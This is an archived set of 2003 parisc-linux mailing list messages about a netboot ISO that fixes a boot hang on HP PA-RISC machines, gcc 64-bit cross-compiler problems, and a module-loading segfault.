	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Mar 2003 08:57:50 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 5062449C0B; Mon,  3 Mar 2003 16:57:48 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 889AF49BEA; Mon,  3 Mar 2003 16:57:47 +0100 (CET)
In-Reply-To: <B578DAA4FD40684793C953B491D4879174CFD7@umr-mail7.umr.edu>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17833

from http://pateam.esiee.fr/

PA/Linux stable kernel CVS version is 2.4.20-pa27
Latest Netinst ISO version is 2.4.20-pa27-20030223
PA/Linux devel kernel CVS version is 2.5.63-pa2

if 2.4.20-pa27 features that fix, it's on the ISO...


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


Le lundi, 3 mar 2003, =E0 16:46 Europe/Paris, Neulinger, Nathan a =E9crit =
:

> Is there a source for a recent netboot iso that includes the
> hang-on-boot fixes for J282 class machines?




From - Thu Nov 08 21:26:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] recent netboot iso?
Date: Mon, 3 Mar 2003 16:03:13 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20030303160313.H7301@parcelfarce.linux.theplanet.co.uk>
References: <B578DAA4FD40684793C953B491D4879174CFD7@umr-mail7.umr.edu> <E0CC492D-4D90-11D7-A259-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622254 22536 80.91.229.3 (22 Nov 2014 02:10:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:54 +0000 (UTC)
Cc: "Neulinger, Nathan" <nneul@umr.edu>,
	parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  3 09:03:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A743A4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Mar 2003 09:03:14 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18psPJ-000249-00; Mon, 03 Mar 2003 16:03:13 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <E0CC492D-4D90-11D7-A259-0030656F07A2@esiee.fr>; from varenet@esiee.fr on Mon, Mar 03, 2003 at 04:57:47PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17834

On Mon, Mar 03, 2003 at 04:57:47PM +0100, Thibaut VARENE wrote:
> from http://pateam.esiee.fr/
> 
> PA/Linux stable kernel CVS version is 2.4.20-pa27
> Latest Netinst ISO version is 2.4.20-pa27-20030223
> PA/Linux devel kernel CVS version is 2.5.63-pa2
> 
> if 2.4.20-pa27 features that fix, it's on the ISO...

it does.  see http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2003-February/032260.html

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] recent netboot iso?
Date: Mon, 3 Mar 2003 07:14:16 -0900 (AKST)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.53.0303030713200.20633@wolf.alaskatech>
References: <E0CC492D-4D90-11D7-A259-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622254 22537 80.91.229.3 (22 Nov 2014 02:10:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:54 +0000 (UTC)
Cc: "Neulinger, Nathan" <nneul@umr.edu>,
	parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  3 09:09:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from wolf.alaskatech (207-5-237-24.gci.net [24.237.5.207])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A81B4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Mar 2003 09:09:59 -0700 (MST)
Original-Received: from wolf.alaskatech (palinux@wolf.alaskatech [24.237.5.207])
	by wolf.alaskatech (8.12.3/8.12.3/Debian -4) with ESMTP id h23GEGAE024070;
	Mon, 3 Mar 2003 07:14:16 -0900
X-X-Sender: palinux@wolf.alaskatech
In-Reply-To: <E0CC492D-4D90-11D7-A259-0030656F07A2@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17835

> On Mon, 3 Mar 2003, Thibaut VARENE wrote:
> from http://pateam.esiee.fr/
>
> PA/Linux stable kernel CVS version is 2.4.20-pa27
> Latest Netinst ISO version is 2.4.20-pa27-20030223
> PA/Linux devel kernel CVS version is 2.5.63-pa2
>
> if 2.4.20-pa27 features that fix, it's on the ISO...

If this is the bus-walk hang, the -pa27 kernel fixes it on my C180.


From - Thu Nov 08 21:26:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Mon, 3 Mar 2003 08:24:40 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20030303162440.GF11363@tausq.org>
References: <3E5F8012000005AB@ocpmta8.freegates.net> <200303031617.h23GHf1R027417@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622254 22538 80.91.229.3 (22 Nov 2014 02:10:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:54 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  3 09:27:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2CC80484D
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Mar 2003 09:27:43 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 2680DCD294; Mon,  3 Mar 2003 08:24:40 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200303031617.h23GHf1R027417@hiauly1.hia.nrc.ca>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17836

[Note: trimmed cc list]

> Last time I tried (couple of weeks ago), it was possible to build
> a 64-bit cross starting with 3.3.  This still doesn't work with 3.2.

also 64-bit hppa64-linux gcc-3.2 (built with 3.3) ICEs regularly. For
people using this to build kernels, I would suggest staying with 3.0.4
for now.

(I'm also seeing reproducible crashes when running hppa64-linux-ld now,
still need to track that down)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Mon, 3 Mar 2003 11:17:41 -0500 (EST)
Lines: 10
Approved: news@gmane.org
Message-ID: <200303031617.h23GHf1R027417__40709.4760601923$1416622255$gmane$org@hiauly1.hia.nrc.ca>
References: <3E5F8012000005AB@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622255 22541 80.91.229.3 (22 Nov 2014 02:10:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:55 +0000 (UTC)
Cc: tausq@debian.org, doko@cs.tu-berlin.de,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  3 09:41:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id AFF2D4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Mar 2003 09:41:40 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h23GHgtI027421;
	Mon, 3 Mar 2003 11:17:42 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h23GHf1R027417;
	Mon, 3 Mar 2003 11:17:41 -0500 (EST)
In-Reply-To: <3E5F8012000005AB@ocpmta8.freegates.net> from "Joel Soete" at Mar 3, 2003 03:27:04 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17837

> Nice and is it also possible to produce a 64bits version of gcc?

Last time I tried (couple of weeks ago), it was possible to build
a 64-bit cross starting with 3.3.  This still doesn't work with 3.2.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] recent netboot iso?
Date: Mon, 3 Mar 2003 10:46:45 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <B578DAA4FD40684793C953B491D4879174CFD9@umr-mail7.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622255 22543 80.91.229.3 (22 Nov 2014 02:10:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:55 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Tom" <palinux@alaskatech.org>,
	"Thibaut VARENE" <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  3 09:46:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay1.cc.umr.edu [131.151.1.120])
	by dsl2.external.hp.com (Postfix) with ESMTP id 44E6E4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Mar 2003 09:46:53 -0700 (MST)
Original-Received: from umr-mail7.umr.edu (umr-mail7.umr.edu [131.151.1.64]) via ESMTP by mrelay1.cc.umr.edu (8.12.1/) id h23Gkk9i026248; Mon, 3 Mar 2003 10:46:46 -0600
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [parisc-linux] recent netboot iso?
Thread-Index: AcLhn1r8BrYtEll0TiKhtqwiQc77BgABRlng
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17838

Great! Thanks! I will take a look.=20

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216


> -----Original Message-----
> From: Tom [mailto:palinux@alaskatech.org]=20
> Sent: Monday, March 03, 2003 10:14 AM
> To: Thibaut VARENE
> Cc: Neulinger, Nathan; parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] recent netboot iso?
>=20
>=20
> > On Mon, 3 Mar 2003, Thibaut VARENE wrote:
> > from http://pateam.esiee.fr/
> >
> > PA/Linux stable kernel CVS version is 2.4.20-pa27
> > Latest Netinst ISO version is 2.4.20-pa27-20030223
> > PA/Linux devel kernel CVS version is 2.5.63-pa2
> >
> > if 2.4.20-pa27 features that fix, it's on the ISO...
>=20
> If this is the bus-walk hang, the -pa27 kernel fixes it on my C180.
>=20


From - Thu Nov 08 21:26:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Mon, 03 Mar 2003 17:22:12 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <3E638F44.4070907@tiscali.be>
References: <3E5F8012000005AB@ocpmta8.freegates.net> <200303031617.h23GHf1R027417@hiauly1.hia.nrc.ca> <20030303162440.GF11363@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622255 22545 80.91.229.3 (22 Nov 2014 02:10:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:55 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  3 10:11:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 21D194829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Mar 2003 10:11:34 -0700 (MST)
Original-Received: from [62.235.171.192] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18ptTI-0000sA-00; Mon, 03 Mar 2003 18:11:25 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021226 Debian/1.2.1-9
In-Reply-To: <20030303162440.GF11363@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17839

Randolph Chung wrote:

>[Note: trimmed cc list]
>
>  
>
>>Last time I tried (couple of weeks ago), it was possible to build
>>a 64-bit cross starting with 3.3.  This still doesn't work with 3.2.
>>    
>>
>
>also 64-bit hppa64-linux gcc-3.2 (built with 3.3) ICEs regularly. For
>people using this to build kernels, I would suggest staying with 3.0.4
>for now.
>
>(I'm also seeing reproducible crashes when running hppa64-linux-ld now,
>still need to track that down)
>
>randolph
>  
>
Ok Randolph, I will wait so because the question was in fact to rebuild 
a kernel 64bits with smp support (up works fine) but smp seems to 
failled just after init the first cpu and would like to see what is the 
problem.

Thanks for advise,  
    Joel



From - Thu Nov 08 21:26:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] recent netboot iso?
Date: Mon, 3 Mar 2003 15:49:09 -0600
Lines: 56
Approved: news@gmane.org
Message-ID: <B578DAA4FD40684793C953B491D4879174CFED@umr-mail7.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622256 22546 80.91.229.3 (22 Nov 2014 02:10:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:56 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  3 14:49:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay1.cc.umr.edu [131.151.1.120])
	by dsl2.external.hp.com (Postfix) with ESMTP id B91DB4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Mar 2003 14:49:18 -0700 (MST)
Original-Received: from umr-mail7.umr.edu (umr-mail7.umr.edu [131.151.1.64]) via ESMTP by mrelay1.cc.umr.edu (8.12.1/) id h23LnH9i013429; Mon, 3 Mar 2003 15:49:18 -0600
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [parisc-linux] recent netboot iso?
Thread-Index: AcLhn1r8BrYtEll0TiKhtqwiQc77BgABRlngAAqDN8A=
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17840

FYI. Install worked great, but unfortunately, current tools/etc. still
have the problem with loading the afs module (segfault in insmod) and I
don't have time to dig into it again. (I did an a-g upgrade with
unstable as well.)

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216


> -----Original Message-----
> From: Neulinger, Nathan=20
> Sent: Monday, March 03, 2003 10:47 AM
> To: Tom; Thibaut VARENE
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: RE: [parisc-linux] recent netboot iso?
>=20
>=20
> Great! Thanks! I will take a look.=20
>=20
> -- Nathan
>=20
> ------------------------------------------------------------
> Nathan Neulinger                       EMail:  nneul@umr.edu
> University of Missouri - Rolla         Phone: (573) 341-4841
> Computing Services                       Fax: (573) 341-4216
>=20
>=20
> > -----Original Message-----
> > From: Tom [mailto:palinux@alaskatech.org]=20
> > Sent: Monday, March 03, 2003 10:14 AM
> > To: Thibaut VARENE
> > Cc: Neulinger, Nathan; parisc-linux@lists.parisc-linux.org
> > Subject: Re: [parisc-linux] recent netboot iso?
> >=20
> >=20
> > > On Mon, 3 Mar 2003, Thibaut VARENE wrote:
> > > from http://pateam.esiee.fr/
> > >
> > > PA/Linux stable kernel CVS version is 2.4.20-pa27
> > > Latest Netinst ISO version is 2.4.20-pa27-20030223
> > > PA/Linux devel kernel CVS version is 2.5.63-pa2
> > >
> > > if 2.4.20-pa27 features that fix, it's on the ISO...
> >=20
> > If this is the bus-walk hang, the -pa27 kernel fixes it on my C180.
> >=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>=20


From - Thu Nov 08 21:26:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kim Byoung Chan" <kimbc@becsolutions.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] I want to use gcc2.9x on Debian 3,0 woody for HP-PARISC
Date: Wed, 5 Mar 2003 15:25:36 +0900
Lines: 43
Approved: news@gmane.org
Message-ID: <000801c2e2e0$09320560$a9eab7d2@kbc>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0005_01C2E32B.788583B0"
X-Trace: ger.gmane.org 1416622256 22549 80.91.229.3 (22 Nov 2014 02:10:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:56 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  4 23:25:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from becsolutions.com (unknown [210.183.234.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id DBEA4482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Mar 2003 23:25:29 -0700 (MST)
Original-Received: from kbc ([210.183.234.169])
	(authenticated)
	by becsolutions.com (8.11.6/8.11.6) with ESMTP id h256cnD18610
	for <parisc-linux@lists.parisc-linux.org>; Wed, 5 Mar 2003 15:38:50 +0900
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17841

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C2E32B.788583B0
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

